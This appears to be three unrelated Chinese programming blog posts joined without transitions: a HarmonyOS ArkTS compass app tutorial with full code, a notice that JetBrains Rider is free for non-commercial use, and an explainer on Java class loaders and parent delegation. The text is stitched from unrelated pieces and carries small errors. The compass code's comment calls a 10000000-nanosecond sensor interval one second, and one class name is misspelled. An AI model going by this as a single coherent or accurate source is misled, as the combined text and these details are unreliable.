2024年11月

【1】引言(完整代码在最后面)

在本文中,我们将介绍如何使用鸿蒙系统(HarmonyOS)开发一个简单的指南针应用。通过这个案例,你可以学习如何使用传感器服务、状态管理以及UI构建等基本技能。

【2】环境准备

电脑系统:windows 10

开发工具:DevEco Studio NEXT Beta1 Build Version: 5.0.3.806

工程版本:API 12

真机:Mate 60 Pro

语言:ArkTS、ArkUI

【3】算法分析

1. 角度差计算算法

计算当前角度与目标角度之间的差值,考虑了角度的周期性(0度和360度等效)。

private calculateAngleDifference(currentAngle: number, targetAngle: number): number {
    let diff = targetAngle - currentAngle;

    if (diff > 180) {
        diff -= 360; // 顺时针旋转超过180度,调整为负值
    } else if (diff < -180) {
        diff += 360; // 逆时针旋转超过180度,调整为正值
    }

    return diff;
}

2. 累计旋转角度算法

累计计算旋转角度,确保角度在0到360度之间。以便旋转动画能正确实现

private updateRotationAngle(angleDifference: number, newAngle: number): void {
    this.cumulativeRotation += angleDifference; // 累加旋转角度
    this.rotationAngle += angleDifference; // 更新当前旋转角度
    this.currentAngle = newAngle; // 更新当前传感器角度

    this.rotationAngle = (this.rotationAngle % 360 + 360) % 360; // 保持在0到360度之间
}

3. 方向计算算法

根据传感器角度计算当前方向,匹配角度范围对应的方向名称。

private calculateDirection(angle: number): string {
    for (const range of DIRECTION_RANGES) {
        if (angle >= range.min && angle < range.max) {
            return range.name; // 返回对应的方向名称
        }
    }
    return '未知方向'; // 如果角度不在任何范围内,返回未知方向
}

【完整代码】

import { sensor } from '@kit.SensorServiceKit'; // 导入传感器服务模块
import { BusinessError } from '@kit.BasicServicesKit'; // 导入业务错误处理模块

// 定义方向范围类
class DirectionRange {
  name: string = ''; // 方向名称
  min: number = 0; // 最小角度
  max: number = 0; // 最大角度
}

// 定义各个方向的范围
const DIRECTION_RANGES: DirectionRange[] = [
  { name: '北', min: 337.5, max: 360 },
  { name: '北', min: 0, max: 22.5 },
  { name: '东北', min: 22.5, max: 67.5 },
  { name: '东', min: 67.5, max: 112.5 },
  { name: '东南', min: 112.5, max: 157.5 },
  { name: '南', min: 157.5, max: 202.5 },
  { name: '西南', min: 202.5, max: 247.5 },
  { name: '西', min: 247.5, max: 292.5 },
  { name: '西北', min: 292.5, max: 337.5 }
];

// 定义指南针组件
@Entry
@Component
struct Compass {
  @State directionMessage: string = ''; // 当前方向的名称
  @State rotationAngle: number = 0; // 当前旋转角度
  @State currentAngle: number = 0; // 当前传感器角度
  @State cumulativeRotation: number = 0; // 累计旋转角度
  private threshold: number = 1; // 设置阈值,用于过滤小的旋转变化

  // 组件即将出现时调用
  aboutToAppear(): void {
    sensor.getSensorList((error: BusinessError) => {
      if (error) {
        console.error('获取传感器列表失败', error); // 如果获取传感器列表失败,打印错误信息
        return;
      }
      this.startOrientationUpdates(); // 开始监听传感器数据
    });
  }

  // 开始监听传感器的方位数据
  private startOrientationUpdates(): void {
    sensor.on(sensor.SensorId.ORIENTATION, (orientationData) => {
      const alpha = orientationData.alpha; // 获取当前的方位角
      this.directionMessage = this.calculateDirection(alpha); // 计算当前方向
      const angleDifference = this.calculateAngleDifference(this.currentAngle, alpha); // 计算角度差

      if (Math.abs(angleDifference) > this.threshold) { // 如果角度变化超过阈值
        this.updateRotationAngle(angleDifference, alpha); // 更新旋转角度
      }
    }, { interval: 10000000 }); // 设置传感器更新间隔,单位为纳秒,10000000表示1秒
  }

  // 计算两个角度之间的差异
  private calculateAngleDifference(currentAngle: number, targetAngle: number): number {
    let diff = targetAngle - currentAngle; // 计算角度差

    if (diff > 180) {
      diff -= 360; // 顺时针旋转超过180度,调整为负值
    } else if (diff < -180) {
      diff += 360; // 逆时针旋转超过180度,调整为正值
    }

    return diff; // 返回调整后的角度差
  }

  // 更新旋转角度
  private updateRotationAngle(angleDifference: number, newAngle: number): void {
    this.cumulativeRotation += angleDifference; // 累加旋转角度
    this.rotationAngle += angleDifference; // 更新当前旋转角度
    this.currentAngle = newAngle; // 更新当前传感器角度

    // 动画更新
    animateToImmediately({}, () => {
      this.rotationAngle = this.cumulativeRotation; // 将旋转角度设置为累计旋转角度
    });

    console.log(`累计旋转角度: ${this.cumulativeRotation}`); // 打印累计旋转角度
  }

  // 根据角度计算方向
  private calculateDirection(angle: number): string {
    for (const range of DIRECTION_RANGES) {
      if (angle >= range.min && angle < range.max) {
        return range.name; // 返回对应的方向名称
      }
    }
    return '未知方向'; // 如果角度不在任何范围内,返回未知方向
  }

  // 构建用户界面
  build() {
    Column({ space: 20 }) { // 创建一个列布局,设置间距为20
      Row({ space: 5 }) { // 创建一个行布局,设置间距为5
        Text(this.directionMessage) // 显示当前方向
          .layoutWeight(1) // 设置布局权重
          .textAlign(TextAlign.End) // 文本对齐方式
          .fontColor('#dedede') // 文本颜色
          .fontSize(50); // 文本大小
        Text(`${Math.floor(this.currentAngle)}°`) // 显示当前角度
          .layoutWeight(1) // 设置布局权重
          .textAlign(TextAlign.Start) // 文本对齐方式
          .fontColor('#dedede') // 文本颜色
          .fontSize(50); // 文本大小
      }.width('100%').margin({ top: 50 }); // 设置宽度和上边距

      Stack() { // 创建一个堆叠布局
        Stack() { // 内部堆叠布局
          Circle() // 创建一个圆形
            .width(250) // 设置宽度
            .height(250) // 设置高度
            .fillOpacity(0) // 设置填充透明度
            .strokeWidth(25) // 设置边框宽度
            .stroke('#f95941') // 设置边框颜色
            .strokeDashArray([1, 5]) // 设置边框虚线样式
            .strokeLineJoin(LineJoinStyle.Round); // 设置边框连接方式
          Text('北') // 创建一个文本,显示“北”
            .height('100%') // 设置高度
            .width(40) // 设置宽度
            .align(Alignment.Top) // 设置对齐方式
            .fontColor('#ff4f3f') // 设置文本颜色
            .rotate({ angle: 0 }) // 设置旋转角度
            .padding({ top: 80 }) // 设置内边距
            .textAlign(TextAlign.Center); // 设置文本对齐方式
          Text('东') // 创建一个文本,显示“东”
            .height('100%') // 设置高度
            .width(40) // 设置宽度
            .align(Alignment.Top) // 设置对齐方式
            .fontColor('#fcfdfd') // 设置文本颜色
            .rotate({ angle: 90 }) // 设置旋转角度
            .padding({ top: 80 }) // 设置内边距
            .textAlign(TextAlign.Center); // 设置文本对齐方式
          Text('南') // 创建一个文本,显示“南”
            .height('100%') // 设置高度
            .width(40) // 设置宽度
            .align(Alignment.Top) // 设置对齐方式
            .fontColor('#fcfdfd') // 设置文本颜色
            .rotate({ angle: 180 }) // 设置旋转角度
            .padding({ top: 80 }) // 设置内边距
            .textAlign(TextAlign.Center); // 设置文本对齐方式
          Text('西') // 创建一个文本,显示“西”
            .height('100%') // 设置高度
            .width(40) // 设置宽度
            .align(Alignment.Top) // 设置对齐方式
            .fontColor('#fcfdfd') // 设置文本颜色
            .rotate({ angle: 270 }) // 设置旋转角度
            .padding({ top: 80 }) // 设置内边距
            .textAlign(TextAlign.Center); // 设置文本对齐方式
        }
        .width('100%') // 设置宽度
        .height('100%') // 设置高度
        .borderRadius('50%') // 设置圆角
        .margin({ top: 50 }) // 设置上边距
        .rotate({ angle: -this.rotationAngle }) // 设置旋转角度
        .animation({}); // 设置动画效果

        Line() // 创建一个线条
          .width(5) // 设置宽度
          .height(40) // 设置高度
          .backgroundColor('#fdfffe') // 设置背景颜色
          .borderRadius('50%') // 设置圆角
          .margin({ bottom: 200 }); // 设置下边距
      }
      .width(300) // 设置宽度
      .height(300); // 设置高度
    }
    .height('100%') // 设置高度
    .width('100%') // 设置宽度
    .backgroundColor('#18181a'); // 设置背景颜色
  }
}

前言

JetBrains官方前段时间宣布重磅消息,其两款知名IDE应用
WebStorm和Rider现已面向社区开放,允许用户免费用于非商业用途。此举旨在支持学习、开源项目开发、内容创作及业余开发等活动。

Rider介绍

JetBrains Rider 是一款一体化 IDE,适合使用整个 .NET 技术堆栈以及参与游戏开发的开发者。它的强大功能集允许您开发各种面向 .NET、ASP.NET Core、MAUI 等框架或 Unity、Unreal Engine 或
Godot 等游戏引擎的应用程序。

商业用途与非商业用途对比

根据 Toolbox 非商业用途订阅协议中的定义
[1]
,商业产品是指有偿分发或提供、或者作为您的商业活动的一部分使用的产品。但某些类别被明确排除在这一定义之外。常见的非商业用例包括学习和自我教育、任何形式的内容创作、
开源代码和业余爱好开发。

跨平台支持

JetBrains Rider 是一款真正的跨平台 IDE,提供跨 Windows、macOS 和 Linux 的无缝开发体验。它还可以通过对 Android、iOS 和 Mac Catalyst 开发的额外支持扩展您的项目范围。

下载安装体验

代码质量提升

JetBrains Rider 可以简化开发流程并提高代码质量。

快速推进开发

Rider 适用于 C#、C++、F#、JS/TS 和其他语言的智能代码补全和代码模板将让您事半功倍。

强大的调试功能

JetBrains Rider 配备了用于本地和远程调试的强大工具,可以让您检查应用程序状态、控制执行流,以及实时对表达式求值。在预测模式下,Rider 的调试器可以主动识别潜在问题,且无需执行代码。

卓越单元测试

Rider 借助对 NUnit 和 xUnit.net 等主流 .NET 测试框架以及游戏引擎特定测试选择的支持来促进单元测试,允许在 IDE 中编写、执行和调试测试。

轻松的 NuGet 管理

得益于 IDE 对中央软件包管理 (CPM) 的支持及其直观的 NuGet 工具窗口,在 Rider 中管理 NuGet 软件包既简单又高效。

无缝版本控制

Rider 与 Git、
Perforce 和其他流行版本控制系统紧密集成,确保无缝适配一系列工作流和偏好。

.NET开发效率工具

本文已收录至.NET开发效率工具栏目中,欢迎订阅。

参考资料

https://www.jetbrains.com.cn/en-us/legal/docs/toolbox/license_non-commercial/

首先引入一个概念,什么是Java类加载器?

一句话总结:类加载器(class loader)用来加载 Java 类到 Java 虚拟机中。

官方总结:Java类加载器(英语:Java Classloader)是Java运行时环境(Java Runtime Environment)的一部分,负责动态加载Java类到Java虚拟机的内存空间中。类通常是按需加载,即第一次使用该类时才加载。由于有了类加载器,Java运行时系统不需要知道文件与文件系统。

类与类加载器

先来看一下JVM中默认的类加载器

分类

实现通过类的全限定名获取该类的二进制字节流的代码块叫做类加载器。

类加载器虽然只用于实现类的加载动作,但它在Java程序中起到的作用却远超类加载阶段

对于任意一个类,都必须由加载它的类加载器和这个类本身一起共同确立其在Java虚拟机中的唯一性,每一个类加载器,都拥有一个独立的类名称空间。这句话可以表达得更通俗一些:比较两个类是否“相等”,只有在这两个类是由同一个类加载器加载的前提下才有意义,否则,即使这两个类来源于同一个Class文件,被同一个Java虚拟机加载,只要加载它们的类加载器不同,那这两个类就必定不相等

为什么要有三个类加载器?一方面是分工,各自负责各自的区块,就如Application Class Loader主要负责加载用户之间开发的代码,另一方面为了实现委托模型。

启动类加载器

引导类加载器属于JVM的一部分,由C++代码实现。

引导类加载器负责加载<JAVA_HOME>\jre\lib路径下的核心类库,由于安全考虑只加载 包名 java、javax、sun开头的类。

public class Demo1 {
    public static void main(String[] args) {
        //Bootstrap 引导类加载器
        //打印为null,是因为Bootstrap是C++实现的。
        ClassLoader classLoader = Object.class.getClassLoader();
        System.out.println(classLoader);

        //查看引导类加载器会加载那些jar包
        URL[] urLs = Launcher.getBootstrapClassPath().getURLs();
        for (URL urL : urLs) {
            System.out.println(urL);
        }
    }

}

输出:
null
file:/D:/JavaSoftware/jdk1.8.0_131/jre/lib/resources.jar
file:/D:/JavaSoftware/jdk1.8.0_131/jre/lib/rt.jar
file:/D:/JavaSoftware/jdk1.8.0_131/jre/lib/sunrsasign.jar
file:/D:/JavaSoftware/jdk1.8.0_131/jre/lib/jsse.jar
file:/D:/JavaSoftware/jdk1.8.0_131/jre/lib/jce.jar
file:/D:/JavaSoftware/jdk1.8.0_131/jre/lib/charsets.jar
file:/D:/JavaSoftware/jdk1.8.0_131/jre/lib/jfr.jar
file:/D:/JavaSoftware/jdk1.8.0_131/jre/classes

拓展类加载器

全类名:sum.misc.Launch$ExtClassLoader,Java语言实现。

扩展类加载器的父加载器是Bootstrap启动类加载器 (注:不是继承关系)

扩展类加载器负责加载<JAVA_HOME>\jre\lib\ext目录下的类库。

import com.sun.javafx.webkit.WebPageClientImpl;

public class Demo1 {
    public static void main(String[] args) {
        //ext目录下的类,获取加载器
        ClassLoader classLoader = WebPageClientImpl.class.getClassLoader();
        System.out.println(classLoader);
    }
}

输出:
sun.misc.Launcher$ExtClassLoader@330bedb4

应用程序类加载器

全类名: sun.misc.Launcher$AppClassLoader

系统类加载器的父加载器是ExtClassLoader扩展类加载器(注: 不是继承关系)。

系统类加载器负责加载 classpath环境变量所指定的类库,是用户自定义类的默认类加载器。

public class Demo1 {
    public static void main(String[] args) {
        ClassLoader classLoader = Demo1.class.getClassLoader();
        System.out.println(classLoader);
    }

}

输出:
sun.misc.Launcher$AppClassLoader@18b4aac

类的加载方式

类加载有三种方式:

  1. 命令行启动应用时候由JVM初始化加载
  2. 通过Class.forName()方法动态加载
  3. 通过ClassLoader.loadClass()方法动态加载
package com.pdai.jvm.classloader;
public class loaderTest { 
        public static void main(String[] args) throws ClassNotFoundException { 
                ClassLoader loader = HelloWorld.class.getClassLoader(); 
                System.out.println(loader); 
                //使用ClassLoader.loadClass()来加载类,不会执行初始化块 
                loader.loadClass("Test2"); 
                //使用Class.forName()来加载类,默认会执行初始化块 
//                Class.forName("Test2"); 
                //使用Class.forName()来加载类,并指定ClassLoader,初始化时不执行静态块 
//                Class.forName("Test2", false, loader); 
        } 
}

public class Test2 { 
        static { 
                System.out.println("静态初始化块执行了!"); 
        } 
}

Class.forName()和ClassLoader.loadClass()的区别:

  • Class.forName(): 将类的.class文件加载到jvm中之外,还会对类进行解释,执行类中的static块;

  • ClassLoader.loadClass(): 只干一件事情,就是将.class文件加载到jvm中,不会执行static中的内容,只有在newInstance才会去执行static块。

  • Class.forName(name, initialize, loader)带参函数也可控制是否加载static块。并且只有调用了newInstance()方法采用调用构造函数,创建类的对象 。

JVM类加载机制

  • 全盘负责:当一个类加载器负责加载某个Class时,该Class所依赖的和引用的其他Class也将由该类加载器负责载入,除非显示使用另外一个类加载器来载入

  • 缓存机制:缓存机制将会保证所有加载过的Class都会被缓存,当程序中需要使用某个Class时,类加载器先从缓存区寻找该Class,只有缓存区不存在,系统才会读取该类对应的二进制数据,并将其转换成Class对象,存入缓存区。这就是为什么修改了Class后,必须重启JVM,程序的修改才会生效

  • 双亲委派机制:如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载这个类,而是把请求委托给父加载器去完成,依次向上,因此,所有的类加载请求最终都应该被传递到顶层的启动类加载器中,只有当父加载器在它的搜索范围中没有找到所需的类时,即无法完成该加载,子加载器才会尝试自己去加载该类。

一个应用程序总是由n多个类组成,Java程序启动时,并不是一次把所有的类全部加载后再运行,它总是先把保证程序运行的基础类一次性加载到JVM中,其它类等到JVM用到的时候再加载。

双亲委派模型

一个类加载器收到一个类的加载请求时,它首先不会自己尝试去加载它,而是把这个请求委派给父类加载器去完成,这样层层委派,因此所有的加载请求最终都会传送到顶层的启动类加载器中,只有当父类加载器反馈自己无法完成这个加载请求时,子加载器才会尝试自己去加载。

双亲委派模型的具体实现代码在 java.lang.ClassLoader 中,此类的 loadClass() 方法运行过程如下:先检查类是否已经加载过,如果没有则让父类加载器去加载。当父类加载器加载失败时抛出ClassNotFoundException ,此时尝试自己去加载。

源码

protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException
{
    synchronized (getClassLoadingLock(name)) {
        // 1.首先查找该类是否已经被该类加载器加载过了
        Class<?> c = findLoadedClass(name);
        //如果没有被加载过
        if (c == null) {
            long t0 = System.nanoTime();
            try {
                if (parent != null) {
                    // 2. 有上级的话,委派上级 loadClass
                    c = parent.loadClass(name, false);
                } else {
                    // 3. 如果没有上级了(ExtClassLoader),则委派BootstrapClassLoader
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
                // ClassNotFoundException thrown if class not found
                // from the non-null parent class loader
                //捕获异常,但不做任何处理
            }

            if (c == null) {
                // 4. 每一层找不到,调用 findClass 方法(每个类加载器自己扩展)来加载
                long t1 = System.nanoTime();
                c = findClass(name);

                // 记录时间
                sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                sun.misc.PerfCounter.getFindClasses().increment();
                }
        }
        if (resolve) {
            resolveClass(c);
        }
        return c;
    }
}

例如:

public class Demo1 {
    public static void main(String[] args) throws ClassNotFoundException {
        Class<?> aClass = Demo1.class.getClassLoader().loadClass("com.seven.jvm.F");
        System.out.println(aClass.getClassLoader());
    }
}

执行流程为:

  1. sun.misc.Launcher$AppClassLoader //1 处, 开始查看已加载的类,结果没有
  2. sun.misc.Launcher$AppClassLoader // 2 处,委派上级
  3. sun.misc.Launcher$ExtClassLoader // 1 处,查看已加载的类,结果没有
  4. sun.misc.Launcher$ExtClassLoader // 3 处,没有上级了,则委派 BootstrapClassLoader 查找
  5. BootstrapClassLoader 是在 JAVA_HOME/jre/lib 下找 F 这个类,显然没有,就会捕获异常,但是不处理
  6. sun.misc.Launcher$ExtClassLoader // 4 处,调用自己的 findClass 方法,是在JAVA_HOME/jre/lib/ext 下找 F 这个类,显然没有,回到 sun.misc.Launcher $AppClassLoader 的 // 2 处
  7. 继续执行到 sun.misc.Launcher$AppClassLoader // 4 处,调用它自己的 findClass 方法,在 classpath 下查找,找到了

双亲委派模型目的

可以防止内存中出现多份同样的字节码。如果没有双亲委派模型而是由各个类加载器自行加载的话,如果用户编写了一个 java.lang.Object 的同名类并放在 ClassPath 中,多个类加载器都去加载这个类到内存中,系统中将会出现多个不同的 Object 类,那么类之间的比较结果及类的唯一性将无法保证。

依赖传递原则

假设类C是由加载器L1定义加载的,那么类C中所依赖的其他类将会通过L1进行加载。

如下:假设Demo2是由L1定义加载的,那么类Demo2中所依赖的类F和接口IDemo将会通过L1进行加载。甚至还用到了String类,String也会由L1加载,但由于双亲委派模型,String类最终会由Bootstrap ClassLoader进行加载。(前提是这些依赖的类尚未加载)

import com.seven.jvm2.F;
import com.seven.jvm2.IDemo;

public class Demo2 implements IDemo {

    @Override
    public void run() {
        F f = new F();
       String s = f.toString().toLowerCase();
        System.out.println(s);
    }
}

打破双亲委派模型

什么时候需要打破双亲委派模型?比如类A已经有一个classA,恰好类B也有一个clasA 但是两者内容不一致,如果不打破双亲委派模型,那么类A只会加载一次

只要在加载类的时候,不按照UserCLASSlOADER->Application ClassLoader->Extension ClassLoader->Bootstrap ClassLoader的顺序来加载就算打破打破双亲委派模型了。比如自定义个ClassLoader,重写loadClass方法(不依照往上开始寻找类加载器),那就算是打破双亲委派机制了。

打破双亲委派模型有两种方式:

  1. 自定义一个类加载器的类,并覆盖抽象类java.lang.ClassL oader中loadClass..)方法,不再优先委派“父”加载器进行类加载。(比如Tomcat)

  2. 主动违背类加载器的依赖传递原则


    • 例如在一个BootstrapClassLoader加载的类中,又通过APPClassLoader来加载所依赖的其它类,这就打破了“双亲委派模型”中的层次结构,逆转了类之间的可见性。

    • 典型的是Java SPI机制,它在类ServiceLoader中,会使用线程上下文类加载器来逆向加载classpath中的第三方厂商提供的Service Provider类。(比如JDBC)

Tomcat

在Tomcat部署项目时,是把war包放到tomcat的webapp下,这就意味着一个tomcat可以运行多个Web应用程序。

假设现在有两个Web应用程序,它们都有一个类,叫User,并且它们的类全限定名都一样,比如都是com.yyy.User,但是他们的具体实现是不一样的。那么Tomcat如何保证它们不会冲突呢?

Tomcat给每个 Web 应用创建一个类加载器实例(WebAppClassLoader),该加载器重写了loadClass方法,优先加载当前应用目录下的类,如果当前找不到了,才一层一层往上找,这样就做到了Web应用层级的隔离。

但是并不是Web应用程序的所有依赖都需要隔离的,比如要用到Redis的话,Redis就可以再Web应用程序之间贡献,没必要每个Web应用程序每个都独自加载一份。因此Tomcat就在WebAppClassLoader上加个父加载器ShareClassLoader,如果WebAppClassLoader没有加载到这个类,就委托给ShareClassLoader去加载。(意思就类似于将需要共享的类放到一个共享目录下)

Web应用程序有类,但是Tomcat本身也有自己的类,为了隔绝这两个类,就用CatalinaClassLoader类加载器进行隔离,CatalinaClassLoader加载Tomcat本身的类

Tomcat与Web应用程序还有类需要共享,那就再用CommonClassLoader作为CatalinaClassLoader和ShareClassLoader的父类加载器,来加载他们之间的共享类

Tomcat加载结构图如下:

JDBC

实际上JDBC定义了接口,具体的实现类是由各个厂商进行实现的(比如MySQL)

类加载有个规则:如果一个类由类加载器A加载,那么这个类的依赖类也是由「相同的类加载器」加载。

而在用JDBC的时候,是使用DriverManager获取Connection的,DriverManager是在java.sql包下的,显然是由BootStrap类加载器进行装载的。当使用DriverManager.getConnection ()时,需要得到的一定是对应厂商(如Mysql)实现的类。这里在去获取Connection的时候,是使用「线程上下文加载器」去加载Connection的,线程上下文加载器会直接指定对应的加载器去加载。也就是说,在BootStrap类加载器利用「线程上下文加载器」指定了对应的类的加载器去加载

线程上下文加载器

Java 提供了很多服务提供者接口(Service Provider Interface,SPI),允许第三方为这些接口提供实现。常见的 SPI 有 JDBC 。

这些 SPI 的接口由 Java 核心库来提供,而这些 SPI 的实现代码则是作为 Java 应用所依赖的 jar 包被包含进类路径(CLASSPATH)里。SPI接口中的代码经常需要加载具体的实现类。那么问题来了,SPI的接口是Java核心库的一部分,是由启动类加载器来加载的;SPI的实现类是由系统类加载器来加载的。启动类加载器是无法找到 SPI 的实现类的,因为它只加载 Java 的核心库。它也不能委派给系统类加载器,因为它是系统类加载器的祖先类加载器。

线程上下文类加载器正好解决了这个问题。如果不做任何的设置,Java 应用的线程的上下文类加载器默认就是系统上下文类加载器。在 SPI 接口的代码中使用线程上下文类加载器,就可以成功的加载到 SPI 实现的类。线程上下文类加载器在很多 SPI 的实现中都会用到。

线程上下文加载器的一般使用模式(获取 - 使用 - 还原)

ClassLoader calssLoader = Thread.currentThread().getContextClassLoader();
 
try {
    //设置线程上下文类加载器为自定义的加载器
    Thread.currentThread.setContextClassLoader(targetTccl);
    myMethod(); //执行自定义的方法
} finally {
    //还原线程上下文类加载器
    Thread.currentThread().setContextClassLoader(classLoader);
}
源码实现
Connection conn = DriverManager.getConnection(url,username,password);

这就是普通的连接数据库的代码,可以直接获取数据库连接进行操作,这段代码没有了加载驱动的代码,那要怎么去确定使用哪个数据库连接的驱动呢?这里就涉及到使用Java的SPI扩展机制来查找相关驱动的东西了,关于驱动的查找其实都在DriverManager中,DriverManager是Java中的实现,用来获取数据库连接,在DriverManager中有一个静态代码块如下:

static {
    loadInitialDrivers();
    println("JDBC DriverManager initialized");
}

可以看到是加载实例化驱动的,接着看loadInitialDrivers方法:

private static void loadInitialDrivers() {
    String drivers;
    try {
        drivers = AccessController.doPrivileged(new PrivilegedAction<String>() {
            public String run() {
                return System.getProperty("jdbc.drivers");
            }
        });
    } catch (Exception ex) {
        drivers = null;
    }

    AccessController.doPrivileged(new PrivilegedAction<Void>() {
        public Void run() {
            //使用SPI的ServiceLoader来加载接口的实现
            ServiceLoader<Driver> loadedDrivers = ServiceLoader.load(Driver.class);
            Iterator<Driver> driversIterator = loadedDrivers.iterator();
            try{
                while(driversIterator.hasNext()) {
                    driversIterator.next();
                }
            } catch(Throwable t) {
            // Do nothing
            }
            return null;
        }
    });

    println("DriverManager.initialize: jdbc.drivers = " + drivers);

    if (drivers == null || drivers.equals("")) {
        return;
    }
    String[] driversList = drivers.split(":");
    println("number of Drivers:" + driversList.length);
    for (String aDriver : driversList) {
        try {
            println("DriverManager.Initialize: loading " + aDriver);
            Class.forName(aDriver, true,
                    ClassLoader.getSystemClassLoader());
        } catch (Exception ex) {
            println("DriverManager.Initialize: load failed: " + ex);
        }
    }
}

上面的代码主要步骤是:

  1. 从系统变量中获取有关驱动的定义。
  2. 使用SPI来获取驱动的实现。
  3. 遍历使用SPI获取到的具体实现,实例化各个实现类。
  4. 根据第一步获取到的驱动列表来实例化具体实现类。

主要关注2,3步,这两步是SPI的用法,首先看第二步,使用SPI来获取驱动的实现,对应的代码是:

ServiceLoader<Driver> loadedDrivers = ServiceLoader.load(Driver.class);

这里没有去META-INF/services目录下查找配置文件,也没有加载具体实现类,做的事情就是封装了我们的接口类型和类加载器,并初始化了一个迭代器。

接着看第三步,遍历使用SPI获取到的具体实现,实例化各个实现类,对应的代码如下:

//获取迭代器
Iterator<Driver> driversIterator = loadedDrivers.iterator();
//遍历所有的驱动实现
while(driversIterator.hasNext()) {
    driversIterator.next();
}

在遍历的时候,首先调用driversIterator.hasNext()方法,这里会搜索classpath下以及jar包中所有的META-INF/services目录下的java.sql.Driver文件,并找到文件中的实现类的名字,此时并没有实例化具体的实现类(ServiceLoader具体的源码实现在下面)。

然后是调用driversIterator.next();方法,此时就会根据驱动名字具体实例化各个实现类了。现在驱动就被找到并实例化了。

可以看下截图,我在测试项目中添加了两个jar包,mysql-connector-java-6.0.6.jar和postgresql-42.0.0.0.jar,跟踪到DriverManager中之后:

可以看到此时迭代器中有两个驱动,mysql和postgresql的都被加载了。

自定义类加载器加载 java.lang.String

很多人都有个误区:双亲委派机制不能被打破,不能使用自定义类加载器加载java.lang.String

但是事实上并不是,只要重写ClassLoader的loadClass()方法,就能打破了。

import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;

public class MyClassLoader extends URLClassLoader {

    public MyClassLoader(URL[] urls) {
        super(urls);
    }
    
    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        //只对MyClassLoader和String使用自定义的加载,其他的还是走双亲委派
        if(name.equals("MyClassLoader") || name.equals("java.lang.String")) {
            return super.findClass(name);
        } else {
            return getParent().loadClass(name);
        }
    }

    public static void main(String[] args) throws Exception {
        //urls指定自定义类加载器的加载路径
        URL url = new File("J:/apps/demo/target/classes/").toURI().toURL();
        URL url3 = new File("C:/Program Files/Java/jdk1.8.0_191/jre/lib/rt.jar").toURI().toURL();
        URL[] urls = {
                url
                , url3
        };
        MyClassLoader myClassLoader = new MyClassLoader(urls);

        Class<?> c1 = MyClassLoader.class.getClassLoader().loadClass("MyClassLoader");
        Class<?> c2 = myClassLoader.loadClass("MyClassLoader");
        System.out.println(c1 == c2); //false
        System.out.println(c1.getClassLoader()); //AppClassLoader
        System.out.println(c2.getClassLoader()); //MyClassLoader

        System.out.println(myClassLoader.loadClass("java.lang.String")); //Exception 
    }

}

加载同一个类MyClassLoader,使用的类加载器不同,说明这里是打破了双亲委派机制的,但是尝试加载String类的时候报错了

看代码是ClassLoader类里面的限制,
只要加载java开头的包就会报错
。所以真正原因是
JVM安全机制
,并不是因为双亲委派。

那么既然是ClassLoader里面的代码做的限制,那把ClassLoader.class修改了不就好了吗。

写了个java.lang.ClassLoader,把preDefineClass()方法里那段if直接删掉,再用编译后的class替换rt.jar里面的,直接通过命令jar uvf rt.jar java/lang/ClassLoader/class即可。

不过事与愿违,修改之后还是报错:

Exception in thread "main" java.lang.SecurityException: Prohibited package name: java.lang
    at java.lang.ClassLoader.defineClass1(Native Method)
    at java.lang.ClassLoader.defineClass(ClassLoader.java:756)
    at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
    at java.net.URLClassLoader.defineClass(URLClassLoader.java:468)
    at java.net.URLClassLoader.access$100(URLClassLoader.java:74)
    at java.net.URLClassLoader$1.run(URLClassLoader.java:369)
    at java.net.URLClassLoader$1.run(URLClassLoader.java:363)
    at java.security.AccessController.doPrivileged(Native Method)
    at java.net.URLClassLoader.findClass(URLClassLoader.java:362)
    at com.example.demo.mini.test.MyClassLoader.loadClass(MyClassLoader.java:17)
    at com.example.demo.mini.test.MyClassLoader.main(MyClassLoader.java:31)

仔细看报错和之前的不一样了,这次是native方法报错了。这就比较难整了,看来要自己重新编译个JVM才行了。理论上来说,编译JVM的时候把校验的代码去掉就行了。

结论:
自定义类加载器加载java.lang.String,必须修改jdk的源码,自己重新编译个JVM才行

总结

  1. JDK中有三个默认类加载器:AppClassLoader、ExtClassLoader、BootStrapClassLoader。AppClassLoader的父加载器为Ext ClassLoader、Ext ClassLoader的父加载器为BootStrap ClassLoader。

  2. 什么是双亲委派机制:加载器在加载过程中,先把类交由父加载器进行加载,父加载器没找到才由自身加载。

  3. 双亲委派机制目的:为了防止内存中存在多份同样的字节码(安全)

  4. 依赖传递原则:如果一个类由类加载器A加载,那么这个类的依赖类也是由「相同的类加载器」加载。

  5. 什么时候需要打破双亲委派模型?比如类A已经有一个classA,恰好类B也有一个clasA 但是两者内容不一致,如果不打破双亲委派模型,那么类A只会加载一次

  6. 如何打破双亲委派机制:


    • 自定义ClassLoader,重写loadClass方法(只要不依次往上交给父加载器进行加载,就算是打破双亲委派机制)(Tomcat)

    • 主动违背类加载器的依赖传递原则(JDBC)

  7. 打破双亲委派机制案例:Tomcat


    • 为了Web应用程序类之间隔离,为每个应用程序创建WebAppClassLoader类加载器

    • 为了Web应用程序类之间共享,把ShareClassLoader作为WebAppClassLoader的父类加载器,如果WebAppClassLoader加载器找不到,则尝试用ShareClassLoader进行加载

    • 为了Tomcat本身与Web应用程序类隔离,用CatalinaClassLoader类加载器进行隔离,CatalinaClassLoader加载Tomcat本身的类

    • 为了Tomcat与Web应用程序类共享,用CommonClassLoader作为CatalinaClassLoader和ShareClassLoader的父类加载器

  8. 线程上下文加载器:由于类加载的规则,很可能导致父加载器加载时依赖子加载器的类,导致无法加载成功(BootStrap ClassLoader无法加载第三方库的类),所以存在「线程上下文加载器」来进行加载。

  9. 打破双亲委派机制案例:JDBC


    • JDBC的接口的具体的实现类是由各个厂商进行实现的(比如MySQL),因此在用JDBC的时候,需要得到厂商实现的类。这里就使用「线程上下文加载器」,线程上下文加载器直接指定对应的加载器去加载对应厂商的具体的实现类。
  10. 自定义类加载器加载java.lang.String,必须修改jdk的源码,自己重新编译个JVM才行。

面试题专栏

Java面试题专栏
已上线,欢迎访问。

  • 如果你不知道简历怎么写,简历项目不知道怎么包装;
  • 如果简历中有些内容你不知道该不该写上去;
  • 如果有些综合性问题你不知道怎么答;

那么可以私信我,我会尽我所能帮助你。

